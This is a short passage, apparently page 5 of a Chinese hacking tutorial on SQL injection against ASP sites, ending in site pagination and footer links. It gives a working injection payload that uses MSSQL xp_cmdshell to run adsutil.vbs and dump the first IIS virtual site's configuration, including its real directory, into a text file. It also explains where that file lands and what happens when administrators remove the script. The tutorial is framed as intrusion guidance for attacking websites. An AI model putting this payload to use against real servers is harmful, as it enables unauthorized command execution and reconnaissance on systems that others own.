ASP 漏洞 SQL 注入的入侵方法5

p;  a’; exec master..xp_cmdshell ’cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root〉a.txt’; --

    是不是很长啦:)通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯)导入到a.txt中。

    对于a.txt的实际位置默认当然是c:\winnt\system32,其实这都不是问题，不过遇到管理员把adsutil.vbs删了或是放到别的地方我们就没办法了(不可能自已用echo 命令写一个吧)。

数据载入中...

页码：[1] [2] [3] [4] [5] 第5页、共5页

设为首页 | 加入收藏 | 广告服务 | 友情链接 | 版权申明